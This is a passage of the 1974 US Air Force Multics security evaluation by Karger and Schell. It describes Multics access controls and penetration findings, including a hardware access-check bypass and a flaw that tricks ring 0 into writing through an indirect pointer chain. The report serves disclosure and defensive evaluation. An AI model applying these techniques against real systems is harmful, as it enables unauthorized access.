MULTICS SECURITY EVALUATION:
VULNERABILITY ANALYSIS

Paul A. Karger, 2Lt, USAF
Roger R. Schell, Major, USAF

June 1974

Approved for public release; distribution unlimited.

INFORMATION SYSTEMS TECHNOLOGY APPLICATIONS OFFICE
DEPUTY FOR COMMAND AND MANAGEMENT SYSTEMS
ELECTRONIC SYSTEMS DIVISION (AFSC)
L. G. HANSCOM AFB, MA 01730
LEGAL NOTICE

When U.S. Government drawings, specifications or other data are used for any purpose other than a definitely related government procurement operation, the government thereby incurs no responsibility nor any obligation whatsoever; and the fact that the government may have formulated, furnished, or in any way supplied the said drawings, specifications, or other data is not to be regarded by implication or otherwise as in any manner licensing the holder or any other person or conveying any rights or permission to manufacture, use, or sell any patented invention that may in any way be related thereto.

OTHER NOTICES

Do not return this copy. Retain or destroy.

REVIEW AND APPROVAL

This technical report has been reviewed and is approved for publication.

Robert E. Park  
Chief, Computer Security Branch

John J. Sullivan  
Chief, Techniques Engineering Division

FOR THE COMMANDER

Robert W. O'Keeffe  
Director, Information Systems
Technology Applications Office
Deputy for Command & Management Systems
**MULTICS SECURITY EVALUATION: VULNERABILITY ANALYSIS**

**PERFORMING ORGANIZATION NAME AND ADDRESS**
Deputy for Command and Management Systems (MCI)
Electronic Systems Division (AFSC)
Hanscom AFB, MA 01730

**CONTRACT OR GRANT NUMBER(S)**
IN-HOUSE

**REPORT DATE**
June 1974

**NUMBER OF PAGES**
156

**DISTRIBUTION STATEMENT (of this Report)**
Approved for public release; distribution unlimited.

**SYNOPSIS OF FINDINGS**
This is Volume II of a 4 Volume report: Multics Security Evaluation. The other volumes are entitled: Vol. I: Results and Recommendations
Vol. III: Password and File Encryption Techniques
Vol. IV: Exemplary Performance under Demanding Workload

**KEYWORDS**
Access Control, Multi-level Systems
Computer Security, Operating System Vulnerabilities
Descriptor Based Processors, Privacy
Hardware Access Control, Protection
Multics, Reference Monitor

**ABSTRACT**
A security evaluation of Multics for potential use as a two-level (Secret/Top Secret) system in the Air Force Data Services Center (AFDSC) is presented. An overview is provided of the present implementation of the Multics Security controls. The report then details the results of a penetration exercise of Multics on the HIS 645 computer. In addition, preliminary results of a penetration exercise of Multics on the new HIS 6180 computer are presented. The report concludes that Multics as implemented today is not... (Con't on reverse)
19. KEY WORDS

Secure Computer Systems
Security Kernels
Security Penetration
Security Testing
Segmentation
Time-sharing
Virtual Memory

20. ABSTRACT

certifiably secure and cannot be used in an open use multi-level system. However, the Multics security design principles are significantly better than other contemporary systems. Thus, Multics as implemented today, can be used in a benign Secret/Top Secret environment. In addition, Multics forms a base from which a certifiably secure open use multi-level system can be developed.
This is Volume II of a 4 volume report prepared for the Air Force Data Services Center (AFDSC) by the Information Systems Technology Applications Office, Deputy for Command and Management Systems, Electronic Systems Division (ESD/MCI). The entire report represents an evaluation and recommendation of the Honeywell Multics system carried out under Air Force Project 6917 from March 1972 to June 1973. Work proceeding after June 1973 is briefly summarized. Work described in this volume was performed by personnel at ESD/MCI with support from the MITRE Corporation. Computer facilities at the Rome Air Development Center and the Massachusetts Institute of Technology were used in the evaluation effort.
# TABLE OF CONTENTS

<table>
<thead>
<tr>
<th>Section</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>I INTRODUCTION</td>
<td></td>
</tr>
<tr>
<td>1.1 Status of Multi-level Security</td>
<td>5</td>
</tr>
<tr>
<td>1.2 Requirement for Multics Security Evaluation</td>
<td>5</td>
</tr>
<tr>
<td>1.3 Technical Requirements for Multi-level Security</td>
<td></td>
</tr>
<tr>
<td>1.3.1 Insecurity of Current Systems</td>
<td>6</td>
</tr>
<tr>
<td>1.3.2 Reference Monitor Concept</td>
<td>6</td>
</tr>
<tr>
<td>1.3.3 Hypothesis: Multics is &quot;Secureable&quot;</td>
<td>7</td>
</tr>
<tr>
<td>1.4 Sites Used</td>
<td>8</td>
</tr>
<tr>
<td>II MULTICS SECURITY CONTROLS</td>
<td></td>
</tr>
<tr>
<td>2.1 Hardware Security Controls</td>
<td></td>
</tr>
<tr>
<td>2.1.1 Segmentation Hardware</td>
<td>9</td>
</tr>
<tr>
<td>2.1.2 Master Mode</td>
<td>10</td>
</tr>
<tr>
<td>2.2 Software Security Controls</td>
<td></td>
</tr>
<tr>
<td>2.2.1 Protection Rings</td>
<td>12</td>
</tr>
<tr>
<td>2.2.2 Access Control Lists</td>
<td>12</td>
</tr>
<tr>
<td>2.2.3 Protected Access Identification</td>
<td>13</td>
</tr>
<tr>
<td>2.2.4 Master Mode Conventions</td>
<td>15</td>
</tr>
<tr>
<td>2.3 Procedural Security Controls</td>
<td></td>
</tr>
<tr>
<td>2.3.1 Enciphered Passwords</td>
<td>15</td>
</tr>
<tr>
<td>2.3.2 Login Audit Trail</td>
<td>15</td>
</tr>
<tr>
<td>2.3.3 Software Maintenance Procedures</td>
<td>16</td>
</tr>
<tr>
<td>III VULNERABILITY ANALYSIS</td>
<td></td>
</tr>
<tr>
<td>3.1 Approach Plan</td>
<td>17</td>
</tr>
<tr>
<td>3.2 Hardware Vulnerabilities</td>
<td></td>
</tr>
<tr>
<td>3.2.1 Random Failures</td>
<td>17</td>
</tr>
<tr>
<td>3.2.2 Execute Instruction Access Check Bypass</td>
<td>20</td>
</tr>
<tr>
<td>3.2.3 Preview of 6180 Hardware Vulnerabilities</td>
<td>22</td>
</tr>
<tr>
<td>3.3 Software Vulnerabilities</td>
<td></td>
</tr>
<tr>
<td>3.3.1 Insufficient Argument Validation</td>
<td>22</td>
</tr>
<tr>
<td>3.3.2 Master Mode Transfer</td>
<td>25</td>
</tr>
<tr>
<td>3.3.3 Unlocked Stack Base</td>
<td>30</td>
</tr>
<tr>
<td>3.3.4 Preview of 6180 Software Vulnerabilities</td>
<td>36</td>
</tr>
<tr>
<td>3.3.4.1 No Call Limiter Vulnerability</td>
<td>37</td>
</tr>
<tr>
<td>3.3.4.2 SLT-KST Dual SDW Vulnerability</td>
<td>37</td>
</tr>
<tr>
<td>3.3.4.3 Additional Vulnerabilities</td>
<td>38</td>
</tr>
</tbody>
</table>
3.4 Procedural Vulnerabilities
   3.4.1 Dump and Patch Utilities
      3.4.1.1 Use of Insufficient Argument Validation
      3.4.1.2 Use of Unlocked Stack Base
      3.4.1.3 Generation of New SDW's
   3.4.2 Forging the Non-Forgeable User Identification
   3.4.3 Accessing the Password File
      3.4.3.1 Minimal Value of the Password File
      3.4.3.2 The Multics Password File
   3.4.4 Modifying Audit Trails
   3.4.5 Trap Door Insertion
      3.4.5.1 Classes of Trap Doors
      3.4.5.2 Example of a Trap Door in Multics
   3.4.6 Preview of 6180 Procedural Vulnerabilities

3.5 Manpower and Computer Costs

IV CONCLUSIONS
   4.1 Multics Is not Now Secure
   4.2 Multics as a Base for a Secure System
      4.2.1 A System for a Benign Environment
      4.2.2 Long Term Open Secure System

References

Appendix

A Subverter Listing
B Unlocked Stack Base Listing
C Trap Door in check$device_name Listing
D Dump Utility Listing
E Patch Utility Listing
F Set Dates Utility Listing

Glossary
LIST OF FIGURES

Figure

1  Segmentation Hardware  11
2  SDW Format  12
3  Directory Hierarchy  14
4  Execute Instruction Bypass  21
5  Insufficient Argument Validation  24
6  Master Mode Source Code  28
7  Master Mode Interpreted Object Code  28
8  Store With Master Mode Transfer  29
9  Unlocked Stack Base (Step 1)  34
10  Unlocked Stack Base (Step 2)  35
11  Dump/Patch Utility Using Insufficient Argument Validation  41
12  Dump/Patch Utility Using Unlocked Stack Base  43
13  Trap Door in check$device_name  54

LIST OF TABLES

Table

1  Subverter Test Attempts  19
2  Base Register Pairing  31
3  Cost Estimates  57

NOTATION

References in parentheses (2) are to footnotes. References in angle brackets <AMD73> are to other documents listed at the end of this report.
SECTION I
INTRODUCTION

1.1 Status of Multi-Level Security

A major problem with computing systems in the military today is the lack of effective multi-level security controls. The term multi-level security controls means, in the most general case, those controls needed to process several levels of classified material from unclassified through compartmented top secret in a multi-processing multi-user computer system with simultaneous access to the system by users with differing levels of clearances. The lack of such effective controls in all of today's computer operating systems has led the military to operate computers in a closed environment in which systems are dedicated to the highest level of classified material and all users are required to be cleared to that level. Systems may be changed from level to level, but only after going through very time consuming clearing operations on all devices in the system. Such dedicated systems result in extremely inefficient equipment and manpower utilization and have often resulted in the acquisition of much more hardware than would otherwise be necessary. In addition, many operational requirements cannot be met by dedicated systems because of the lack of information sharing. It has been estimated by the Electronic Systems Division (ESD) sponsored Computer Security Technology Panel (AND73) that these additional costs may amount to $100,000,000 per year for the Air Force alone.

1.2 Requirement for Multics Security Evaluation

This evaluation of the security of the Multics system was performed under Project 6917, Program Element 64708F to meet the requirements of the Air Force Data Services Center (AFDSC). AFDSC must provide responsive interactive time-shared computer services to users within the Pentagon at all classification levels from unclassified to top secret. AFDSC in particular did not wish to incur the expense of multiple computer systems nor the expense of encryption devices for remote terminals which would otherwise be processing only unclassified material. In a separate study completed in February 1972, the Information Systems Technology Applications Office, Electronic Systems Division (ESD/NCI) identified the Honeywell Multics system as a candidate to meet both
AFDSC's multi-level security requirements and highly responsive advanced interactive time-sharing requirements.

1.3 Technical Requirements for Multi-Level Security

The ESD-sponsored Computer Security Technology Planning Study (AND73) outlined the security weaknesses of present day computer systems and proposed a development plan to provide solutions based on current technology. A brief summary of the findings of the panel follows.

1.3.1 Insecurity of Current Systems

The internal controls of current computers repeatedly have been shown insecure through numerous penetration exercises on such systems as GCOS (AND71), WWMCCS GCOS (ING73, JTS73) and IBM OS/360/370 (GOM72). This insecurity is a fundamental weakness of contemporary operating systems and cannot be corrected by "patches", "fix-ups", or "add-ons" to those systems. Rather, a fundamental reimplementation using an integrated hardware/software design which considers security as a fundamental requirement is necessary. In particular, steps must be taken to ensure the correctness of the security related portions of the operating system. It is not sufficient to use a team of experts to "test" the security controls of a system. Such a "tiger team" can only show the existence of vulnerabilities but cannot prove their non-existence.

Unfortunately, the managers of successfully penetrated computer systems are very reluctant to permit release of the details of the penetrations. Thus, most reports of penetrations have severe (and often unjustified) distribution restrictions leaving very few documents in the public domain. Concealment of such penetrations does nothing to deter a sophisticated penetrator and can in fact impede technical interchange and delay the development of a proper solution. A system which contains vulnerabilities cannot be protected by keeping those vulnerabilities secret. It can only be protected by the constraining of physical access to the system.

1.3.2 Reference Monitor Concept

The ESD Computer Security Technology Panel introduced the concept of a "reference monitor". This reference monitor is that hardware/software combination which must monitor all references by any program to any
data anywhere in the system to ensure that the security rules are followed. Three conditions must be met to ensure the security of a system based on a reference monitor.

a. The monitor must be tamper proof.

b. The monitor must be invoked for every reference to data anywhere in the system.

c. The monitor must be small enough to be proven correct.

The stated design goals of contemporary systems such as GCOS or OS/360 are to meet the first requirement (albeit unsuccessfully). The second requirement is generally not met by contemporary systems since they usually include "bypasses" to permit special software to operate or must suspend the reference monitor to provide addressability for the operating system in exercising its service functions. The best known of these is the bypass in OS/360 for the IBM supplied service aid, IMASPZAP (SUPERZAP). (IBM70) Finally and most important, current operating systems are so large, so complex, and so monolithic that one cannot begin to attempt a formal proof or certification of their correct implementation.

1.3.3 Hypothesis: Multics is "Secureable"

The computer security technology panel identified the general class of descriptor driven processors (1) as extremely useful to the implementation of a reference monitor. Multics, as the most sophisticated of the descriptor-driven systems currently available, was hypothesized to be a potentially secureable system; that is, the Multics design was sufficiently well-organized and oriented towards security that the concept of a reference monitor could be implemented for Multics without fundamental changes to the facilities seen by Multics users. In particular, the Multics ring mechanism could protect the monitor from malicious or inadvertent tampering, and the Multics segmentation could

---

(1) Descriptor driven processors use some form of address translation through hardware interpretation of descriptor words or registers. Such systems include the Burroughs 6700, the Digital Equipment Corp. PDP-11/45, the Data General Nova 840, the DEC KI-10, the HIS 6180, the IBM 370/158 and 168, and several others not listed here.
enforce monitor mediation on every reference to data. However, the question of certifiability had not as yet been addressed in Multics. Therefore the Multics vulnerability analysis described herein was undertaken to:

a. Examine Multics for potential vulnerabilities.

b. Identify whether a reference monitor was practical for Multics.

c. Identify potential interim enhancements to Multics to provide security in a benign (restricted access) environment.

d. Determine the scope and dimension of a certification effort.

1.4 Sites Used

The vulnerability analysis described herein was carried out on the HIS 645 Multics Systems installed at the Massachusetts Institute of Technology and at the Rome Air Development Center. As the HIS 6180, the new Multics processor, was not available at the time of this study, this report will describe results of analysis of the HIS 645 only. Since the completion of the analysis, work has started on an evaluation of the security controls of Multics on the HIS 6180. Preliminary results of the work on the HIS 6180 are very briefly summarized in this report, to provide an understanding of the value of the evaluation of the HIS 645 in the context of the new hardware environment.
SECTION II
MULTICS SECURITY CONTROLS

This section provides a brief overview of the basic Multics security controls to provide necessary background for the discussion of the vulnerability analysis. However, a rather thorough knowledge of the Multics implementation is assumed throughout the rest of this document. More complete background material may be found in Lipner <LIP74>, Saltzer <SAL73>, Organick <ORG72>, and the Multics Programmers' Manual <MPM73>.

The basic security controls of Multics fall into three major areas: hardware controls, software controls, and procedural controls. This overview will touch briefly on each of these areas.

2.1 Hardware Security Controls

2.1.1 Segmentation Hardware

The most fundamental security controls in the HIS 645 Multics are found in the segmentation hardware. The basic instruction set of the 645 can directly address up to 256K (2) distinct segments (3) at any one time, each segment being up to 256K words long. (4) Segments are broken up into 1K word pages (5) which can be moved between primary and secondary storage by software, creating a very large virtual memory. However, we will not treat paging throughout most of this evaluation as it is transparent to security. Paging must be implemented

(2) 1K = 1024 units.

(3) Current software table sizes restrict a process to about 1000 segments. However, by increasing these table sizes, the full hardware potential may be used.

(4) The 645 software restricted segments to 64K words for efficiency reasons.

(5) The 645 hardware also supports 64 word pages which were not used. The 6180 supports only a single page size which can be varied by field modification from 64 words to 4096 words. Initially, a size of 1024 words is being used. The supervisors on both the 645 and 6180 use unpaged segments of length 0 mod 64.
correctly in a secure system. However, bugs in page control are generally difficult to exploit in a penetration, because the user has little or no control over paging operations.

Segments are accessed by the 645 CPU through segment descriptor words (SDW's) that are stored in the descriptor segment (DSEG). (See Figure 1.) To access segment N, the 645 CPU uses a processor register, the descriptor segment base register (DBR), to find the DSEG. It then accesses the Nth SDW in the DSEG to obtain the address of the segment and the access rights currently in force on that segment for the current user.

Each SDW contains the absolute address of the page table for the segment and the access control information. (See Figure 2.) The last 6 bits of the SDW determine the access rights to the segment—read, execute, write, etc. (6) Using these access control bits, the supervisor can protect the descriptor segment from unauthorized modification by denying access in the SDW for the descriptor segment.

2.1.2 Master Mode

To protect against unauthorized modification of the DBR, the processor operates in one of two states—master mode and slave mode. In master mode any instruction may be executed and access control checks are inhibited. (7) In slave mode, certain instructions including those which modify the DBR are inhibited. Master mode procedure segments are controlled by the class field in the SDW. Slave mode procedures may transfer to master mode procedures only through word zero of the master mode procedure to prevent unrestricted invocation of privileged programs. It is then the responsibility of the master mode software to protect itself from malicious calls by placing suitable protective routines beginning at location zero.

---

(6) A more detailed description of the SDW format may be found in the 645 processor manual <AGB71>.

(7) The counterpart of master mode on the HIS 6180 called privileged mode does not inhibit access control checking.
Figure 1. Segmentation Hardware
2.2 Software Security Controls

The most outstanding feature of the Multics security controls is that they operate on a basis of "form" rather than the classical basis of "content". That is to say, the Multics controls are based on operations on a uniform population of well defined objects, as opposed to the classical controls which rely on anticipating all possible types of accesses and make security essentially a battle of wits.

2.2.1 Protection Rings

The primary software security control on the 645 Multics system is the ring mechanism. It was originally postulated as desirable to extend the traditional master/slave mode relationship of conventional machines to permit layering within the supervisor and within user code (see Graham [GRA68]). Eight concentric rings of protection, numbered 0 - 7, are defined with
higher numbered rings having less privilege than lower numbered rings, and with ring 0 containing the "hardcore" supervisor. Unfortunately, the 645 CPU does not implement protection rings in hardware. Therefore, the eight protection rings are implemented by providing eight descriptor segments for each process (user), one descriptor segment per ring. Special fault codes are placed in those SDW's which can be used for cross-ring transfers so that ring 0 software can intervene and accomplish the descriptor segment swap between the calling and called rings.

2.2.2 Access Control Lists

Segments in Multics are stored in a hierarchy of directories. A directory is a special type of segment that is not directly accessible to the user and provides a place to store names and other information about subordinate segments and directories. Each segment and directory has an access control list (ACL) in its parent directory entry controlling who may read (r), write (w), or execute (e) the segment or obtain status (s) of, modify (m) entries in, or append (a) entries to a directory. For example in Figure 3, the user Jones.Druid has read permission to segment ALPHA and has null access to segment BETA. However, Jones.Druid has modify permission to directory DELTA, so he can give himself access to segment BETA. Jones.Druid cannot give himself write access to segment ALPHA, because he does not have modify permission to directory GAMMA. In turn, the right to modify the access control lists of GAMMA and DELTA is controlled by the access control list of directory EPSILON, stored in the parent of EPSILON. Access control security checks for segments are enforced by the ring 0 software by setting the appropriate bits in the SDW at the time that a user attempts to add a segment to his address space.

(8) The original design called for 64 rings, but this was reduced to 8 in 1971.

(9) One of the primary enhancements of the HIS 6180 is the addition of ring hardware <SCHR72> and a consequent elimination of the need for master mode procedures in the user ring.
Figure 3. Directory Hierarchy
2.2.3 Protected Access Identification

In order to do access checking, the ring 0 software must have a protected, non-forgeryable identification of a user to compare with the ACL entries. This ID is established when a user signs on to Multics and is stored in the process data segment (PDS) which is accessible only in ring 0 or in master mode, so that the user may not tamper with the data stored in the PDS.

2.2.4 Master Mode Conventions

By convention, to protect master mode software, the original design specified that master mode procedures were not to be used outside ring 0. If the master mode procedure ran in the user ring, the master mode procedure itself would be forced to play the endless game of wits of the classical supervisor call. The master mode procedure would have to include code to check for all possible combinations of input arguments, rather than relying on a fundamental set of argument independent security controls. As an aid (or perhaps hindrance) to playing the game of wits, each master mode procedure must have a master mode pseudo-operation code assembled into location 0. The master mode pseudo-operation generates code to test an index register for a value corresponding to an entry point in the segment. If the index register is invalid, the master mode pseudo-operation code saves the registers for debugging and brings the system down.

2.3 Procedural Security Controls

2.3.1 Enciphered Passwords

When a user logs in to Multics, he types a password as his primary authentication. Of course, the access control list of the password file denies access to regular users of the system. In addition, as a protection against loss of a system dump which could contain the password file, all passwords are stored in a "non-invertible" cipher form. When a user types his password, it is enciphered and compared with the stored enciphered version for validity. Clear text passwords are
stored nowhere in the system.

2.3.2 Login Audit Trail

Each login and logout is carefully audited to check for attempts to guess valid user passwords. In addition, each user is informed of the date, time and terminal identification (if any) of last login to detect past compromises of the user's access rights. Further, the user is told the number of times his password has been given incorrectly since its last correct use.

2.3.3 Software Maintenance Procedures

The maintenance of the Multics software is carried out online on a dial-up Multics facility. A systems programmer prepares and nominally debugs his software for installation. He then submits his software to a library installer who copies and recompiles the source in a protected directory. The library installer then checks out the new software prior to installing it in the system source and object libraries. Ring 0 software is stored on a system tape that is reloaded into the system each time it is brought up. However, new system tapes are generated from online copies of the ring 0 software. The system libraries are protected against modification by the standard ACL mechanism. In addition, the library installers periodically check the date/time last modified of all segments in the library in an attempt to detect unauthorized modifications.
SECTION III
VULNERABILITY ANALYSIS

3.1 Approach Plan

It was hypothesized that although the fundamental design characteristics of Multics were sound, the implementation was carried out on an ad hoc basis and had security weaknesses in each of the three areas of security controls described in Section II - hardware, software, and procedures.

The analysis was to be carried out on a very limited basis with a less than one-half man month per month level of effort. Due to the manpower restrictions, a goal of one vulnerability per security control area was set. The procedure followed was to postulate a weakness in a general area, verify the weakness in the system, experiment with the weakness on the Rome Air Development Center (RADC) installation, and finally, using the resulting debugged penetration approach, exploit the weakness on the MIT installation.

An attempt was to be made to operate with the same type of ground rules under which a real agent would operate. That is, with each penetration, an attempt would be made to extract or modify sensitive system data without detection by the system maintenance or administrative personnel.

Several exploitations were successfully investigated. These included changing access fields in SDW's, changing protected identities in the PDS, inserting trap doors into the system libraries, and accessing the system password file.

3.2 Hardware Vulnerabilities

3.2.1 Random Failures

One area of significant concern in a system processing multi-level classified material is that of random hardware failures. As described in Section 2.1.1, the fundamental security of the system is dependent on the correct operation of the segmentation hardware. If this hardware is prone to error, potential security vulnerabilities become a significant problem.
To attempt a gross measure of the rate of security sensitive component failure, a procedure called the "subverter" was written to sample the security sensitive hardware on a frequent basis, testing for component failures which could compromise the security controls. The subverter was run in the background of an interactive process. Once each minute, the subverter received a timer interrupt and performed one test from the list described below. Assuming the test did not successfully violate security rules, the subverter would go to sleep for one minute before trying the next test. A listing of the subverter may be found in Appendix A.

The subverter was run for 1100 hours in a one year period on the MIT 645 system. The number of times each test was attempted is shown in Table 1. During the 1100 operating hours, no security sensitive hardware component failures were detected, indicating good reliability for the 645 security hardware. However, two interesting anomalies were discovered in the tests. First, one undocumented instruction (octal 471) was discovered on the 645. Experimentation indicated that the new instruction had no obvious impact on security, but merely seemed to store some internal register of no particular interest. The second anomaly was a design error resulting in an algorithmic failure of the hardware described in Section 3.2.2.
TABLE 1
Subverter Test Attempts
1100 Operating Hours

<table>
<thead>
<tr>
<th>Test Name</th>
<th># Attempts</th>
</tr>
</thead>
<tbody>
<tr>
<td>1. Clear Associative Memory</td>
<td>3526</td>
</tr>
<tr>
<td>2. Store Control Unit</td>
<td>3466</td>
</tr>
<tr>
<td>3. Load Timer Register</td>
<td>3444</td>
</tr>
<tr>
<td>4. Load Descriptor Base Register</td>
<td>3422</td>
</tr>
<tr>
<td>5. Store Descriptor Base Register</td>
<td>3403</td>
</tr>
<tr>
<td>6. Connect I/O Channel</td>
<td>3378</td>
</tr>
<tr>
<td>7. Delay Until Interrupt Signal</td>
<td>3359</td>
</tr>
<tr>
<td>8. Read Memory Controller Mask Register</td>
<td>3344</td>
</tr>
<tr>
<td>9. Set Memory Controller Mask Register</td>
<td>3328</td>
</tr>
<tr>
<td>10. Set Memory Controller Interrupt Cells</td>
<td>3309</td>
</tr>
<tr>
<td>11. Load Alarm Clock</td>
<td>3289</td>
</tr>
<tr>
<td>12. Load Associative Memory</td>
<td>3259</td>
</tr>
<tr>
<td>13. Store Associative Memory</td>
<td>3236</td>
</tr>
<tr>
<td>14. Restore Control Unit</td>
<td>3219</td>
</tr>
<tr>
<td>15. No Read Permission</td>
<td>3148</td>
</tr>
<tr>
<td>16. No Write Permission</td>
<td>3131</td>
</tr>
<tr>
<td>17. XED - No Read Permission</td>
<td>3113</td>
</tr>
<tr>
<td>18. XED - No Write Permission</td>
<td>3098</td>
</tr>
<tr>
<td>19. Tally Word Without Write Permission</td>
<td>3083</td>
</tr>
<tr>
<td>20. Bounds Fault &lt;64K</td>
<td>2398</td>
</tr>
<tr>
<td>21. Bounds Fault &gt;64K</td>
<td>2368</td>
</tr>
<tr>
<td>22. Illegal Opcodes</td>
<td>2108</td>
</tr>
</tbody>
</table>

Tests 1-14 are tests of master mode instructions. Tests 15 and 16 attempt simple violation of read and write permission as set on segment ACL's. Tests 17 and 18 are identical to 15 and 16 except that the faulting instructions are reached from an Execute Double instruction rather than normal instruction flow. Test 19 attempts to increment a tally word that is in a segment without write permission. Tests 20 and 21 take out of bounds faults on segments of zero length, forcing the supervisor to grow new page tables for them. Test 22 attempts execution of all the instructions marked illegal on the 645.
3.2.2 Execute Instruction Access Check Bypass

While experimenting with the hardware subverter, a sequence of code (10) was observed which would cause the hardware of the 645 to bypass access checking. Specifically, the execute instruction in certain cases described below would permit the executed instruction to access a segment for reading or writing without the corresponding permissions in the SDW.

This vulnerability occurred when the execute instruction was in certain restricted locations of a segment with at least read-execute (re) permission. (See Figure 4.) The execute instruction then referenced an object instruction in word zero of a second segment with at least R permission. The object instruction indrected through an ITS pointer in the first segment to access a word for reading or writing in a third segment. The third segment was required to be "active": that is, to have an SDW pointing to a valid page table for the segment. If all these conditions were met precisely, the access control fields in the SDW of the third segment would be ignored and the object instruction permitted to complete without access checks.

The exact layout of instructions and indirect words was crucial. For example, if the object instruction used a base register rather than indrecting through the segment containing the execute instruction (i.e., staq ap[0] rather than staq 6,*) then the access checks were done properly. Unfortunately, a complete schematic of the 645 was not available to determine the exact cause of the bypass. In informal communications with Honeywell, it was indicated that the error was introduced in a field modification to the 645 at MIT and was then made to all processors at all other sites.

This hardware bug represents a violation of one of the most fundamental rules of the Multics design - the checking of every reference to a segment by the hardware. This bug was not caused by fundamental design problems. Rather, it was caused by carelessness by the hardware engineering personnel.

(10) The subverter was designed to test sequences of code in which single failures could lead to security problems. Some of these sequences exercised relatively complex and infrequently used instruction modifications which experience had shown were prone to error.
Figure 4. Execute Instruction Bypass
No attempt was made to make a complete search for additional hardware design bugs, as this would have required logic diagrams for the 645. It was sufficient for this effort to demonstrate one vulnerability in this area.

3.2.3 Preview of 6180 Hardware Vulnerabilities

While no detailed look has been taken at the issue of hardware vulnerabilities on the 6180, the very first login of an ESD analyst to the 6180 inadvertently discovered a hardware vulnerability that crashed the system. The vulnerability was found in the Tally Word Without Write Permission test of the subverter. In this test, when the 6180 processor encountered the tally word without write permission, it signalled a "trouble" fault rather than an "access violation" fault. The "trouble" fault is normally signalled only when a fault occurs during the signalling of a fault. Upon encountering a "trouble" fault, the software normally brings the system down.

It should be noted that the 6180 contains very new and complex hardware that, as of this publication, has not been completely "shaken down". Thus, Honeywell still quite reasonably expects to find hardware problems. However, the inadequacy of "testing" for security vulnerabilities applies equally well to hardware as to software. Simply "shaking down" the hardware cannot find all the possible vulnerabilities.

3.3 Software Vulnerabilities

Although the approach plan for the vulnerability analysis only called for locating one example of each class of vulnerability, three software vulnerabilities were identified as shown below. Again, the search was neither exhaustive nor systematic.

3.3.1 Insufficient Argument Validation

Because the 645 Multics system must simulate protection rings in software, there is no direct hardware validation of arguments passed in a subroutine call from a less privileged ring to a more privileged ring. Some form of validation is required, because a malicious user could call a ring 0 routine that stores information through a user supplied pointer. If the malicious user supplied a pointer to data to which ring 0 had write permission but to which the user ring did not, ring 0 could be "tricked"
into causing a security violation.

To provide validation, the 645 software ring crossing mechanism requires all gate segments (11) to declare to the "gatekeeper" the following information:

1. number of arguments expected
2. data type of each arguments
3. access requirements for each argument—read only or read/write.

This information is stored by convention in specified locations within the gate segment. (12) The "gatekeeper" invokes an argument validation routine that inspects the argument list being passed to the gate to ensure that the declared requirements are met. If any test fails, the argument validator aborts the call and signals the condition "gate_error" in the calling ring.

In February 1973, a vulnerability was identified in the argument validator that would permit the "fooling" of ring 0 programs. The argument validator's algorithm to validate read or read/write permission was as follows: First copy the argument list into ring 0 to prevent modification of the argument list by a process running on another CPU in the system while the first process is in ring 0 and has completed argument validation. Next, force indirection through each argument pointer to obtain the segment number of the target argument. Then look up the segment in the calling ring's descriptor segment to check for read or write permission.

The vulnerability is as follows: (See figure 5.) An argument pointer supplied by the user is constructed to contain an IDC modifier (increment address, decrement tally, and continue) that causes the first reference through the indirect chain to address a valid argument. This first reference is the one made by the

(11) A gate segment is a segment used to cross rings. It is identified by R2 and R3 of its ring brackets R1, R2, R3 being different. See Organick <ORG72> for a detailed description of ring brackets.

(12) For the convenience of authors of gates, a special "gate language" and "gate compiler" are provided to generate properly formatted gates. Using this language, the author of the gate can declare the data type and access requirement of each argument.
Figure 5. Insufficient Argument Validation
argument validator. The reference through the IDC modifier increments the address field of the tally word causing it to point to a different indirect word which in turn points to a different ITS pointer which points to an argument which is writable in ring 0 only. The second reference through this modified indirect chain is made by the ring 0 program which proceeds to write data where it shouldn't. (13)

This vulnerability resulted from violation of a basic rule of the Multics design - that all arguments to a more privileged ring be validated. The problem was not in the fundamental design - the concept of a software argument validator is sound given the lack of ring hardware. The problem was an ad hoc implementation of that argument validator which overlooked a class of argument pointers.

Independently, a change was made to the MIT system which fixed this vulnerability in February 1973. The presence and exploitability of the vulnerability were verified on the RADC Multics which had not been updated to the version running at MIT. The method of correction chosen by MIT was rather "brute force." The argument validator was changed to require the modifier in the second word of each argument pointer always to be zero. This requirement solves the specific problem of the IDC modifier, but not the general problem of argument validation.

3.3.2 Master Mode Transfer

As described in Sections 2.1.2 and 2.2.4, the 645 CPU has a master mode in which privileged instructions may be executed and in which access checking is inhibited although address translation through segment and page tables is retained. (14) The original design of the Multics protection rings called for master mode code to be

(13) Depending on the actual number of references made, the malicious user need only vary the number of indirect words pointing to legal and illegal arguments. We have assumed for simplicity here that the validator and the ring 0 program make only one reference each.

(14) The 645 also has an absolute mode in which all addresses are absolute core addresses rather than being translated by the segmentation hardware. This mode is used only to initialize the system.
restricted to ring 0 by convention. (15) This convention caused the fault handling mechanism to be excessively expensive due to the necessity of switching from the user ring into ring 0 and out again using the full software ring crossing mechanism. It was therefore proposed and implemented that the signaller, the module responsible for processing faults to be signalled to the user, (16) be permitted to run in the user ring to speed up fault processing. The signaller is a master mode procedure, because it must execute the RCU (Restore Control Unit) instruction to restart a process after a fault.

The decision to move the signaller to the user ring was not felt to be a security problem by the system designers, because master mode procedures could only be entered at word zero. The signaller would be assembled with the master mode pseudo-operation code at word zero to protect it from any malicious attempt by a user to execute an arbitrary sequence of instructions within the procedure. It was also proposed, although never implemented, that the code of master mode procedures in the user ring be specially audited. However as we shall see in Section 3.4.4, auditing does not guarantee victory in the "battle of wits" between the implementor and the penetrator. Auditing cannot be used to make up for fundamental security weaknesses.

It was postulated in the ESD/MCI vulnerability analysis that master mode procedures in the user ring represent a fundamental violation of the Multics security concept. Violating this concept moves the security controls from the basic hardware/software mechanism to the cleverness of the systems programmer who, being human, makes mistakes and commits oversights. The master mode procedures become classical "supervisor calls" with no rules for "sufficient" security checks. In fact, upon close examination of the signaller, this hypothesis was found to be true.

(15) This convention is enforced on the 6180. Privileged mode (the 6180 analogy to the 645 master mode) only has effect in ring 0. Outside ring 0, the hardware ignores the privileged mode bit.

(16) The signaller processed such faults as "zerodivide" and access violation which are signalled to the user. Page faults and segment faults which the user never sees are processed elsewhere in ring 0.
The master mode pseudo-operation code was designed only to protect master mode procedures from random calls within ring 0. It was not designed to withstand the attack of a malicious user, but only to operate in the relatively benign environment of ring 0.

